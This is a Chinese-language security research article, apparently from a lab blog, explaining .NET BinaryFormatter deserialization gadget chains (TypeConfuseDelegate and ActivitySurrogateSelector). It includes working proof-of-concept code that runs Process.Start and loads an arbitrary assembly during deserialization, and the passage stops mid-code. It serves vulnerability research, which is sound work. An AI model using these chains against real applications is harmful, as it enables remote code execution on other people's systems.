.Net 反序列化原理学习
作者:HuanGMz@知道创宇404实验室
时间:2020年11月30日
一.TypeConfuseDelegate工具链
TypeConfuseDelegate 工具链 利用了SortedSet类在反序列化时调用比较器进行排序,以及多播委托可以修改委托实例的特点实现在反序列化时执行代码
0x10 基础知识
0x11 SortedSet<T>
SortedSet<T> 从其名字就可以看出其用处,可排序的set,表示按排序顺序维护的对象的集合。<T> 为泛型用法,T表示集合中元素的类型。
既然是可排序的,那么集合中的元素要依据什么进行排序呢?我们看一个SortedSet 的例子就知道了:
// Defines a comparer to create a sorted set// that is sorted by the file extensions.
public class ByFileExtension : IComparer<string>
{
string xExt, yExt;
CaseInsensitiveComparer caseiComp = new CaseInsensitiveComparer();
public int Compare(string x, string y)
{
// Parse the extension from the file name.
xExt = x.Substring(x.LastIndexOf(".") + 1);
yExt = y.Substring(y.LastIndexOf(".") + 1);
// Compare the file extensions.
int vExt = caseiComp.Compare(xExt, yExt);
if (vExt != 0)
{
return vExt;
}
else
{
// The extension is the same,
// so compare the filenames.
return caseiComp.Compare(x, y);
}
}
}
...
// Create a sorted set using the ByFileExtension comparer.
var set = new SortedSet<string>(new ByFileExtension());
set.Add("hello.a");
set.Add("hello.b");
可以看到,在实例化 SortedSet类的时候,指定当前集合中元素类型为string,同时传入了一个 ByFileExtension 实例 做为初始化参数。
ByFileExtension 类是一个“比较器”,专门提供给 SortedSet 用于排序。其类型继承于 IComparer<T> 接口。
我们看一下SortedSet 的初始化函数:
IComparer<T> comparer;...
public SortedSet(IComparer<T> comparer) {
if (comparer == null) {
this.comparer = Comparer<T>.Default;
} else {
this.comparer = comparer;
}
}
可以看到,传入的比较器被存储在 comparer字段中,该字段类型也为 IComparer<T> 类型。
Icomparer<T>
public interface IComparer<in T>{
// Compares two objects. An implementation of this method must return a
// value less than zero if x is less than y, zero if x is equal to y, or a
// value greater than zero if x is greater than y.
//
int Compare(T x, T y);
}
这是一个接口类型,定义了一个Comparer() 方法,该方法用于比较同类型的两个对象,规定返回结果为int型。
上面例子中的 ByFileExtension 类型便继承于 IComparer<T>,其实现了Compare方法,用于比较两个string 对象。
SortedSet 便是利用这样一个比较器来给同类型的两个对象排序。
回到SortedSet 的用法:
set.Add("hello.a");set.Add("hello.b");
其通过调用Add方法来给集合添加元素。这里有一个细节,在第一次Add时不会调用比较器,从第二次Add才开始调用比较器(合理)。
0x12 ComparisonComparer<T>
Comparer<T>
Comparer<T> 是 Icomparer<T>接口的一个实现,其源码如下:
public abstract class Comparer<T> : IComparer, IComparer<T>{
static readonly Comparer<T> defaultComparer = CreateComparer();
public static Comparer<T> Default {
get {
Contract.Ensures(Contract.Result<Comparer<T>>() != null);
return defaultComparer;
}
}
public static Comparer<T> Create(Comparison<T> comparison)
{
Contract.Ensures(Contract.Result<Comparer<T>>() != null);
if (comparison == null)
throw new ArgumentNullException("comparison");
return new ComparisonComparer<T>(comparison);
}
...
public abstract int Compare(T x, T y);
int IComparer.Compare(object x, object y) {
if (x == null) return y == null ? 0 : -1;
if (y == null) return 1;
if (x is T && y is T) return Compare((T)x, (T)y);
ThrowHelper.ThrowArgumentException(ExceptionResource.Argument_InvalidArgumentForComparison);
return 0;
}
}
我们重点关注 Comparer.Create() 函数,该函数创建了一个 ComparisonComparer<T> 类型,并将其返回。
我们看一下 ComparisonComparer<T> 类型是啥?
[Serializable]internal class ComparisonComparer<T> : Comparer<T>
{
private readonly Comparison<T> _comparison;
public ComparisonComparer(Comparison<T> comparison) {
_comparison = comparison;
}
public override int Compare(T x, T y) {
return _comparison(x, y);
}
}
这是一个可序列化的类型,其继承于 Comparer<T>,所以也是一个比较器。
我们关注其用于比较的函数Compare(),该函数直接调用了 _comparison() 函数。而_comparison 字段是一个Comparison<T> 类型,在初始化时被传入并设置。Comparison<T> 是什么类型?
public delegate int Comparison<in T>(T x, T y);
原来这是一个委托类型,其函数签名与比较函数相同。
目前为止,我们应认识到ComparisonComparer<T> 有如下的关键:
- 是一个比较器,且比较函数可自定义
- 可序列化
0x20 SortedSet<T> 的反序列化
在SortedSet<T> 类里,有一个OnDeserialization 函数:
void IDeserializationCallback.OnDeserialization(Object sender) { OnDeserialization(sender);
}
protected virtual void OnDeserialization(Object sender) {
if (comparer != null) {
return; //Somebody had a dependency on this class and fixed us up before the ObjectManager got to it.
}
if (siInfo == null) {
ThrowHelper.ThrowSerializationException(ExceptionResource.Serialization_InvalidOnDeser);
}
comparer = (IComparer<T>)siInfo.GetValue(ComparerName, typeof(IComparer<T>));
int savedCount = siInfo.GetInt32(CountName);
if (savedCount != 0) {
T[] items = (T[])siInfo.GetValue(ItemsName, typeof(T[]));
if (items == null) {
ThrowHelper.ThrowSerializationException(ExceptionResource.Serialization_MissingValues);
}
for (int i = 0; i < items.Length; i++) {
Add(items[i]);
}
}
version = siInfo.GetInt32(VersionName);
if (count != savedCount) {
ThrowHelper.ThrowSerializationException(ExceptionResource.Serialization_MismatchedCount);
}
siInfo = null;
}
IDeserializationCallback 接口定义的 OnDeserialization() 方法用于在反序列化后自动调用。
观看SortedSet 的OnDeserialization() 函数,可以看到其先取出 Comparer赋给当前新的 SortedSet<T>对象,即this,然后调用Add方法来添加元素。我们前面已经知道使用Add方法添加第二个元素时就会开始调用比较函数。也就是说,在反序列化SortedSet<T> 时,会触发SortedSet<T>排序,进而调用设置的比较器中的比较函数。
由于我们可以设置比较函数,而且传给比较函数的两个参数就是Add的前两个string 元素(可控),那么如果将比较函数设置为Process.Start() 函数,我们就可以实现代码执行了。
0x30 构造payload
对于SortedSet<string> 类来说,其比较函数类型为:
int Comparison<in T>(T x, T y);
而Process.Start()中比较相似的是:
public static Process Start(string fileName, string arguments);
但是其返回值类型为 Process类型,仍然与比较函数不同。如果我们直接将比较器的比较函数替换为Process.Start会导致在序列化时失败。
那么要如何做?可以借多播委托来替换调用函数,如下:
static void TypeConfuseDelegate(Comparison<string> comp){
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList",
BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = comp.GetInvocationList();
// Modify the invocation list to add Process::Start(string, string)
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(comp, invoke_list);
}
static void Main(string[] args)
{
// Create a simple multicast delegate.
Delegate d = new Comparison<string>(String.Compare);
Comparison<string> c = (Comparison<string>)MulticastDelegate.Combine(d, d);
// Create set with original comparer.
IComparer<string> comp = Comparer<string>.Create(c);
TypeConfuseDelegate(c);
...
}
MulticastDelegate 即多播委托。所谓多播,就是将多个委托实例合并为一个委托,即多播委托。在调用多播委托时,会依次调用调用列表里的委托。在合并委托时只能合并同类型的委托。
我们先看 MulticastDelegate.Combine函数,该函数继承自 delegate类型:
public static Delegate Combine(Delegate a, Delegate b){
if ((Object)a == null) // cast to object for a more efficient test
return b;
return a.CombineImpl(b);
}
跟入 CombineImpl():
protected override sealed Delegate CombineImpl(Delegate follow){
if ((Object)follow == null) // cast to object for a more efficient test
return this;
// Verify that the types are the same...
if (!InternalEqualTypes(this, follow))
throw new ArgumentException(Environment.GetResourceString("Arg_DlgtTypeMis"));
MulticastDelegate dFollow = (MulticastDelegate)follow;
Object[] resultList;
int followCount = 1;
Object[] followList = dFollow._invocationList as Object[];
if (followList != null)
followCount = (int)dFollow._invocationCount;
int resultCount;
Object[] invocationList = _invocationList as Object[];
if (invocationList == null)
{
resultCount = 1 + followCount;
resultList = new Object[resultCount];
resultList[0] = this;
if (followList == null)
{
resultList[1] = dFollow;
}
else
{
for (int i = 0; i < followCount; i++)
resultList[1 + i] = followList[i];
}
return NewMulticastDelegate(resultList, resultCount);
}
...
由于a和b都是 delegate类型的变量,这里将其转换为 MulticastDelegate(继承自 delegate) 类型。而 MulticastDelegate 有两个重要的字段,_invocationList 和 _invocationCount。_invocationList 是一个数组,存放的是需要多播的委托实例。_invocationCount 则是对应的个数。
由于a和b都是由 delegate 转换为 MulticastDelegate,所以其 _invocationList 默认为null,_invocationCount为0。所以该函数会创建一个新数组,存放a和b,并赋给 _invocationList ,然后将_invocationCount 设置为2,然后返回一个新的 MulticastDelegate 变量。
我们在创建好MulticastDelegate 对象后,直接替换其 _invocationList 中的多播实例为 new Func<string, string, Process>(Process.Start)。_invocationList 是object[] 类型,所以不会报错。
而在调用多播委托时,由于输入参数类型相同,所以也不会造成问题。实际上,这与c语言中通过函数指针调用函数的问题相同,涉及到的是函数调用约定的问题。比如我将要替换的委托实例由 Process.Start 改为如下:
static int compfunc(ulong a, ulong b){
Console.WriteLine("{0:X}", a);
Console.WriteLine("{0:X}", b);
Process.Start("calc");
return 1;
}
invoke_list[1] = new Func<ulong, ulong, int>(compfunc);
ulong 为64位无符号类型,这时查看打印的数据以及对应内存(Add的数据分别是"calc" 和 "adummy"):
很明显,通过多播委托调用委托实例时,传递过去的是两个sring对象,而委托以ulong类型接收。在内存中查看ulong变量所存放的地址,很明显是string对象。所以在调用委托时,传递的其实是两个string对象的指针,我们完全可以以64位的ulong类型正常接收。这涉及到C# 底层的调用约定,我没有了解过,这里就不再多说。
完整的payload(来自 James Forshaw):
using System;using System.Collections.Generic;
using System.Runtime.Serialization.Formatters.Binary;
using System.IO;
using System.Reflection;
using System.Diagnostics;
namespace SortedListTest
{
class Program
{
static int compfunc(string a, string b)
{
Process.Start(a, b);
return 1;
}
static void TypeConfuseDelegate(Comparison<string> comp)
{
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList",
BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = comp.GetInvocationList();
// Modify the invocation list to add Process::Start(string, string)
invoke_list[1] = new Func<string, string, Process>(Process.Start);
fi.SetValue(comp, invoke_list);
}
static void Main(string[] args)
{
// Create a simple multicast delegate.
Delegate d = new Comparison<string>(String.Compare);
Comparison<string> c = (Comparison<string>)MulticastDelegate.Combine(d, d);
// Create set with original comparer.
IComparer<string> comp = Comparer<string>.Create(c);
SortedSet<string> mysl = new SortedSet<string>(comp);
mysl.Add("calc");
mysl.Add("adummy");
TypeConfuseDelegate(c);
BinaryFormatter fmt = new BinaryFormatter();
BinaryFormatter fmt2 = new BinaryFormatter();
MemoryStream stm = new MemoryStream();
fmt.Serialize(stm, mysl);
stm.Position = 0;
fmt2.Deserialize(stm);
}
}
}
注意一点,在反序列化时进行比较的元素顺序与原来添加时是相反的。比如这里,我先添加"calc",后添加“adummy",假如第二次添加时原比较函数为cs,则此时调用为: cs("adummy", "calc"),而反序列化时调用比较函数则为 Process.Start( “calc", "adummy")。
这也是为什么一定要将TypeConfuseDelegate() 放在Add() 后面,否则在第二次Add时就会出现Process.Start(”adummy", "calc") 的错误(找不到可执行文件)。
二. ActivitySurrogateSelectorGenerator 工具链
0x10 选择器和代理器
0x11 基础知识
0x10 BinaryFormatter 有一个字段叫做: SurrogateSelector,继承于ISurrogateSelecor接口。
// 摘要:// 获取或设置控制序列化和反序列化过程的类型替换的 System.Runtime.Serialization.ISurrogateSelector.
//
// 返回结果:
// 要与此格式化程序一起使用的代理项选择器。
public ISurrogateSelector SurrogateSelector { get; set; }
该字段指定一个代理选择器,可用于为当前BinaryFormatter实例选择一个序列化代理器,用于在序列化时实现代理操作。注意有两个概念:代理选择器 和 序列化代理器 ,代理选择器 用于选择出一个 序列化代理器。为了避免绕口,以下简称 选择器 和 代理器。
查看 ISurrogateSelector 接口:
public interface ISurrogateSelector { // Interface does not need to be marked with the serializable attribute
// Specifies the next ISurrogateSelector to be examined for surrogates if the current
// instance doesn't have a surrogate for the given type and assembly in the given context.
void ChainSelector(ISurrogateSelector selector);
// Returns the appropriate surrogate for the given type in the given context.
ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector);
// Return the next surrogate in the chain. Returns null if no more exist.
ISurrogateSelector GetNextSelector();
}
从其注释 中我们可以看出,选择器是链状的。而GetSurrogate() 函数用于给出当前选择器所选择的 代理器,其返回值为 ISerializationSurrogate 类型。
SurrogateSelector 类是 ISurrogateSelector接口的实现,相较于原接口,其有增加了几个函数:
public class SurrogateSelector : ISurrogateSelector {
public SurrogateSelector();
public virtual void AddSurrogate(Type type, StreamingContext context, ISerializationSurrogate surrogate);
public virtual void ChainSelector(ISurrogateSelector selector);
public virtual ISurrogateSelector GetNextSelector();
public virtual ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector);
public virtual void RemoveSurrogate(Type type, StreamingContext context);
}
其中 AddSurrogate() 和 RemoveSurrogate() 用于直接向当前选择器中添加和删除代理器。
看完了选择器,我们再看一看代理器:
public interface ISerializationSurrogate { // Interface does not need to be marked with the serializable attribute
// Returns a SerializationInfo completely populated with all of the data needed to reinstantiate the
// the object at the other end of serialization.
void GetObjectData(Object obj, SerializationInfo info, StreamingContext context);
// Reinflate the object using all of the information in data. The information in
// members is used to find the particular field or property which needs to be set.
Object SetObjectData(Object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector);
}
接口只定义了两个函数。其中,GetObjectData() 函数在序列化时使用,用于从对象实例中获取内容,然后传给SerializationInfo,SetObjectData() 函数在反序列化时使用,用于从SerializationInfo 中获取内容,然后赋给对象实例。这两个函数即体现出了代理的意义。
微软文档中给出了一个 代理器的例子:
// This class can manually serialize an Employee object.sealed class EmployeeSerializationSurrogate : ISerializationSurrogate
{
// Serialize the Employee object to save the object's name and address fields.
public void GetObjectData(Object obj,
SerializationInfo info, StreamingContext context)
{
var emp = (Employee) obj;
info.AddValue("name", emp.name);
info.AddValue("address", emp.address);
}
// Deserialize the Employee object to set the object's name and address fields.
public Object SetObjectData(Object obj,
SerializationInfo info, StreamingContext context,
ISurrogateSelector selector)
{
var emp = (Employee) obj;
emp.name = info.GetString("name");
emp.address = info.GetString("address");
return emp;
}
}
文档中有一句很有意思:下面的代码示例演示如何创建一个序列化代理类,该类知道如何正确地序列化或反序列化本身无法序列化的类。
序列化代理器可以用于序列化和反序列化 原本无法序列化的类。在例子中确实如此。经过调试,发现秘密在这里。
internal void InitSerialize(Object obj, ISurrogateSelector surrogateSelector, StreamingContext context, SerObjectInfoInit serObjectInfoInit, IFormatterConverter converter, ObjectWriter objectWriter, SerializationBinder binder){
...
if (surrogateSelector != null && (serializationSurrogate = surrogateSelector.GetSurrogate(objectType, context, out surrogateSelectorTemp)) != null)
{
SerTrace.Log( this, objectInfoId," Constructor 1 trace 3");
si = new SerializationInfo(objectType, converter);
if (!objectType.IsPrimitive)
serializationSurrogate.GetObjectData(obj, si, context);
InitSiWrite();
}
else if (obj is ISerializable)
{
if (!objectType.IsSerializable) {
throw new SerializationException(Environment.GetResourceString("Serialization_NonSerType",
objectType.FullName, objectType.Assembly.FullName));
}
si = new SerializationInfo(objectType, converter, !FormatterServices.UnsafeTypeForwardersIsEnabled());
((ISerializable)obj).GetObjectData(si, context);
}
else
{
SerTrace.Log(this, objectInfoId," Constructor 1 trace 5");
InitMemberInfo();
CheckTypeForwardedFrom(cache, objectType, binderAssemblyString);
}
}
这是 WriteObjectInfo.InitSerialize() 函数,其中在判断被序列化对象是否可序列化之前,先判断当前是否有代理选择器。如果有,则调用GetSurrogate() 函数获取代理器,并使用代理器继续进行序列化。
虽然序列化代理器可以用于序列化和反序列化 本身不可序列化的类,但是目前为止我们还没法直接将其用于反序列化漏洞,原因:选择器和代理器都是我们自定义的,只有在反序列化时同样也为BinaryFormatter 指定选择器和代理器才可以正常进行反序列化。而真实环境中目标在进行反序列化时根本不会进行代理,也不可能知道我们的代理器是什么样的。
0x12 ObjectSerializedRef 和 ObjectSurrogate
好在 James Forshaw 发现了类 ObjectSerializedRef ,ObjectSerializedRef 在 类ObjectSurrogate 里面使用,而ObjectSurrogate 在 ActivitySurrogateSelector里调用。其中 ObjectSurrogate 是一个代理器,ActivitySurrogateSelector则是一个选择器,在一定情况下返回 ObjectSurrogate 作为代理器。
那么代理器ObjectSurrogate 有什么特殊呢?
- 因为它是代理器,所以通过它进行序列化时,可以序列化原本不可序列化的类。
- 经过它序列化产生的 binary数据包含足够多的信息,在反序列化时,不需要特意指定选择器和代理器。
也就是说,通过ObjectSurrogate 代理产生的序列化数据,直接拿给BinaryFormatter 进行反序列化(不指定选择器和代理器),能够成功的进行反序列化,即使被序列化的类原本不可以序列化。
例子:
using System;using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.IO;
using System.Configuration;
namespace ActivitySurrogateSelectorGeneratorTest
{
// Definitely non-serializable class.
class NonSerializable
{
private string _text;
public NonSerializable(string text)
{
_text = text;
}
public override string ToString()
{
return _text;
}
}
// Custom serialization surrogate
class MySurrogateSelector : SurrogateSelector
{
public override ISerializationSurrogate GetSurrogate(Type type,
StreamingContext context, out ISurrogateSelector selector)
{
selector = this;
if (!type.IsSerializable)
{
Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
return (ISerializationSurrogate)Activator.CreateInstance(t);
}
return base.GetSurrogate(type, context, out selector);
}
}
class Program
{
static void TestObjectSerializedRef()
{
System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
BinaryFormatter fmt = new BinaryFormatter();
MemoryStream stm = new MemoryStream();
fmt.SurrogateSelector = new MySurrogateSelector();
fmt.Serialize(stm, new NonSerializable("Hello World!"));
stm.Position = 0;
// Should print Hello World!.
var fmt2 = new BinaryFormatter();
Console.WriteLine(fmt2.Deserialize(stm));
}
static void Main(string[] args)
{
TestObjectSerializedRef();
}
}
}
注意,在4.8以上的.NET版本中需要关闭 ActivitySurrogateSelectorTypeCheck(这是相关的补丁),也就是TestObjectSerializedRef 里的第一句。
老实说,我到现在还没整明白,这个代理器生成的序列化数据在反序列化时为什么不需要指定选择器和代理器。。。。
上面的例子中没什么好说的,就是自己定义了一个选择器 MySurrogateSelector,重载其 GetSurrogate() 函数,使其返回一个 ObjectSurrogate 实例作为代理器。然后就可以通过该选择器 进行 序列化数据了。
原本在构造工具链时,我们只能搜索可序列化的类,比如SortedSet。但是,现在有了这个工具,我们就可以把范围扩展到不可序列化的,委托可修改的类。
0x20 LINQ
0x21 基础知识
LINQ (Language Integrated Query) 语言集成查询。用于对集合执行查询操作,例子如下:
string sentence = "the quick brown fox jumps over the lazy dog"; // Split the string into individual words to create a collection.
string[] words = sentence.Split(' ');
// Using query expression syntax.
var query = from word in words
group word.ToUpper() by word.Length into gr
orderby gr.Key
select new { Length = gr.Key, Words = gr };
看上去LINQ语句和我们所熟悉的SQL 语句差不多,但更接近真相的写法其实是下面这样的:
// Using method-based query syntax. var query2 = words.
GroupBy(w => w.Length, w => w.ToUpper()).
Select(g => new { Length = g.Key, Words = g }).
OrderBy(o => o.Length);
words 是集合对象(也有叫序列),实现了IEnumerable<T>接口。
看上去words 是一个string 数组,其实这是集合初始化器:允许采用和数组声明相似的方式,在集合实例化期间用一组初始成员构造该集合。
根据官方文档的说法:有两套LINQ标准查询运算符,一套对 IEnumerable<T> 类型,一套对IQueryable<T>类型进行操作。组成每个集合的方法分别是Enumerable和Queryable类的静态成员。他们被定义为对其进行操作的类型的扩展方法。可以通过使用静态方法语法或实例方法语法来调用扩展方法。这些方法便是标准查询操作符,如下:
以上面的Where操作符为例,该函数返回的仍然是一个集合。该函数有两个参数,一个是source,为输入的集合,一个是predicate 为Func<TSource, int, bool> 类型的委托。其意义就是Where函数通过调用委托对输入集合里的元素进行筛选,并将筛选出的集合作为结果返回。如果我们把一个查询语句拆分成多个独立的标准查询操作符,那么应当有多个中间集合 ,上一个查询操作符返回的集合会作为下一个查询操作符的输入集合。
LINQ的延迟执行和流处理:
以如下查询语句为例:
var adultName = from person in people where person.Age >= 18
select person.Name;
该查询表达式在创建时不会处理任何数据,也不会访问原始的people列表,而是在内存中生成了这个查询的表现形式。判断是否成人以及人到人名的转换都是通过委托实例来表示。只有在访问结果里的第一个元素的时候,Select转换才会为它的第一个元素调用Where转换,如果符合谓词(where的委托参数),则再调用select转换。(摘自《深入理解C#》)
0x22 替换 LINQ 里的委托
由前面的知识可知,诸如 Where类型的标准查询操作符,有两个输入参数,一个是输入集合,而另一个是会对集合中每一个元素都调用的委托。我们可以替换该委托。但是注意:由于LINQ的延迟执行特点,该委托只有在枚举结果集合时才会调用。
做出假设:构造一个由特殊LINQ语句(替换其委托)产生的结果集合,然后使用第一节中所说的ObjectSurrogate代理器对其进行序列化(LINQ本身无法序列化)。如果我们可以强制对反序列化产生的集合进行枚举,这将触发我们替换的委托,进而执行任意代码。
James Forshaw 设计了一条调用链,借用LINQ 顺序执行以下函数:
byte[] -> Assembly.Load(byte[]) -> AssemblyAssembly -> Assembly.GetType() -> Type[]
Type[] -> Activator.CreateInstance(Type[]) -> object[]
这三个函数有什么特点?与标准查询操作符的委托参数格式上很像。以Select操作符为例:
public static IEnumerable<TResult> Select<TSource, TResult>(this IEnumerable<TSource> source, Func<TSource, TResult> selector);
该操作符第一个参数source 为输入集合 IEnumerable<TSource>,第二个参数为委托selector,类型为Func<TSource, TResult>,返回值为集合 IEnumerable<TResult>。
第一步:
我们希望select操作符的第二个参数所指示的委托函数是 static Assembly Load( byte[] rawAssembly ) ,那么Tsource代表的类型就是byte[],TResult代表的类型就是Assembly,那么该select的输入集合就是一个IEnumerable<byte[]>类型,输出集合就是一个Ienumerable<Assembly>类型。如下:
List<byte[]> data = new List<byte[]>();data.Add(File.ReadAllBytes(typeof(ExploitClass).Assembly.Location));
var e1 = data.Select(Assembly.Load);
data 为一个IEnumerable<byte[]>类型,返回的集合e1 应为 IEnumerable<Assembly> 类型。
第二步:
我们希望select操作符的第二个参数所指示的委托函数是 public virtual Type[] GetTypes() 。这一步理想的委托函数应当Func<Assembly, Type>,但是GetTypes() 函数没有输入参数,而且返回的是Type[]类型,怎么办?
我们可以通过反射API 来为实例方法创建一个开放委托。开放委托不仅不会存储对象实例,而且还会增加一个Assembly参数,这正是我们需要的。
Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));
如果使用Selec操作符,我们希望的是一个返回Type对象的委托,但是GetTypes() 函数返回的是一个Ienumerable<Type>集合?还有其他的操作符可以选择吗?SelectMany 是一个好的选择:
public static IEnumerable<TResult> SelectMany<TSource, TResult>(this IEnumerable<TSource> source, Func<TSource, IEnumerable<TResult>> selector);
SelectMany 是一个好的选择,其委托类型为 Func<TSource, IEnumerable<TResult>> ,正符合GetTypes()。
Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));var e2 = e1.SelectMany(map_type);
返回的集合e2 为 IEnumerable<Type>类型。
第三步:
与第一步类似,我们希望委托函数为:public static object CreateInstance(Type type),那么查询语句如下:
Type[] e2 = ...;var e3 = e2.Select(Activator.CreateInstance);
返回集合e3类型为 IEnumerable<object>。
那么这条链的实现如下:
List<byte[]> data = new List<byte[]>();data.Add(File.ReadAllBytes(typeof(ExploitClass).Assembly.Location));
var e1 = data.Select(Assembly.Load);
Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));
var e2 = e1.SelectMany(map_type);
var e3 = e2.Select(Activator.CreateInstance);
0x30 启动链
现在我们把 Assembly::Load(byte[])、Assembly.GetTypes()、Activator::CreateInstance(Type) 三个函数都写入了LINQ链里,根据LINQ的延迟执行特点,只有当我们枚举结果集合里的元素时,才会加载程序集并创建类型实例,执行我们的代码。那么问题来了,在反序列化后,如何保证执行枚举操作以启动这条链呢?
James Forshaw 想到的思路是这样的:首先找到一种方法,使得在反序列化时执行ToString() 函数,然后找到一条链从ToString() 到 IEnumerable。
0x31 从ToString 到 IEnumerable
我们先来看是如何从ToString() 到 IEnumerable 的:
IEnumerable -> PagedDataSource -> ICollectionICollection -> AggregateDictionary -> IDictionary
IDictionary -> DesignerVerb -> ToString
代码实现如下:
// PagedDataSource maps an arbitrary IEnumerable to an ICollectionPagedDataSource pds = new PagedDataSource() { DataSource = e3 };
// AggregateDictionary maps an arbitrary ICollection to an IDictionary
// Class is internal so need to use reflection.
IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);
// DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked.
DesignerVerb verb = new DesignerVerb("XYZ", null);
// Need to insert IDictionary using reflection.
typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);
第一步:
使用PagedDataSource类将IEnumerable 类型转换为 ICollection类型,看PagedDataSource 源码如下:
public sealed class PagedDataSource : ICollection, ITypedList { private IEnumerable dataSource;
private int currentPageIndex;
private int pageSize;
private bool allowPaging;
private bool allowCustomPaging;
private bool allowServerPaging;
private int virtualCount;
...
}
其中的dataSource字段为IEnumerable 类型。
第二步:
将 ICollection 类型转换为 IDictionary 类型
internal class AggregateDictionary : IDictionary{
private ICollection _dictionaries;
public AggregateDictionary(ICollection dictionaries)
{
_dictionaries = dictionaries;
} // AggregateDictionary
第三步:DesignerVerb 类型的ToString() 函数会枚举 IDictionary,看源码可以理解,如下:
public string Text { get {
object result = Properties["Text"];
if (result == null) {
return String.Empty;
}
return (string)result;
}
}
public override string ToString() {
return Text + " : " + base.ToString();
}
我们将properties字段设置为dict,当读取Properties["Text"]就会触发后续的动作。
0x32 触发ToString
我们需要找到一种方法在进行反序列化时触发ToString() 函数,进而启动整条链。James Forshaw 想到利用Hashtable。
在对Hashtable 类进行反序列化的时候,它将会重建密钥集。如果两个键相等,则反序列化将失败,并且Hashtable 会引发异常:
源码如下:
// Hashtable.Insert()// The current bucket is in use
// OR
// it is available, but has had the collision bit set and we have already found an available bucket
if (((buckets[bucketNumber].hash_coll & 0x7FFFFFFF) == hashcode) &&
KeyEquals (buckets[bucketNumber].key, key)) {
if (add) {
throw new ArgumentException(Environment.GetResourceString("Argument_AddingDuplicate__", buckets[bucketNumber].key, key));
}
internal static String GetResourceString(String key, params Object[] values) { String s = GetResourceString(key);
return String.Format(CultureInfo.CurrentCulture, s, values);
}
可以看到,在GetResourceString 函数里,values 被传给了 String.Format(),由于values 不是string类型,会导致其调用ToSTring() 函数,进而启动整条链,加载自定义程序集并执行任意代码。
通过Hashtable 调用ToString 的代码如下:
// Add two entries to table.ht.Add(verb, "Hello");
ht.Add("Dummy", "Hello2");
FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
Array keys = (Array)fi_keys.GetValue(ht);
FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
for (int i = 0; i < keys.Length; ++i)
{
object bucket = keys.GetValue(i);
object key = fi_key.GetValue(bucket);
if (key is string)
{
fi_key.SetValue(bucket, verb);
keys.SetValue(bucket, i);
break;
}
}
fi_keys.SetValue(ht, keys);
ls.Add(ht);
代码中通过反射获取Hashtable 的buckets字段值,然后再获取buckets的key字段,然后将第二个key由原来的 "Dummy" 替换为 verb,导致两个元素key值相同,这会导致之前所说的调用key 的 ToString() 函数。
0x40 拼图
现在我们要把前面所讲的各个链拼接在一起。
首先,我们要先创建一个程序集,作为被执行的代码,如下:
using System;using System.Windows.Forms;
namespace ExploitClass
{
public class Exploit
{
public Exploit()
{
try
{
MessageBox.Show("Win!", "Pwned", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
catch(Exception)
{
}
}
}
}
然后是序列化的代码,如下:
using System;using System.Collections.Generic;
using System.Linq;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.IO;
using System.Reflection;
using System.Web.UI.WebControls;
using System.ComponentModel.Design;
using System.Collections;
namespace ActivitySurrogateSelectorGeneratorTest
{
// Custom serialization surrogate
class MySurrogateSelector : SurrogateSelector
{
public override ISerializationSurrogate GetSurrogate(Type type,
StreamingContext context, out ISurrogateSelector selector)
{
selector = this;
if (!type.IsSerializable)
{
Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
return (ISerializationSurrogate)Activator.CreateInstance(t);
}
return base.GetSurrogate(type, context, out selector);
}
}
[Serializable]
public class PayloadClass : ISerializable
{
public byte[] GadgetChains()
{
System.Diagnostics.Trace.WriteLine("In GetObjectData");
// Build a chain to map a byte array to creating an instance of a class.
// byte[] -> Assembly.Load -> Assembly -> Assembly.GetType -> Type[] -> Activator.CreateInstance -> Win!
List<byte[]> data = new List<byte[]>();
// exp.dll 即为上面生成的程序集
data.Add(File.ReadAllBytes(Path.Combine("./exp.dll")));
var e1 = data.Select(Assembly.Load);
Func<Assembly, IEnumerable<Type>> MyGetTypes = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));
var e2 = e1.SelectMany(MyGetTypes);
var e3 = e2.Select(Activator.CreateInstance);
// PagedDataSource maps an arbitrary IEnumerable to an ICollection
PagedDataSource pds = new PagedDataSource() { DataSource = e3 };
// AggregateDictionary maps an arbitrary ICollection to an IDictionary
// Class is internal so need to use reflection.
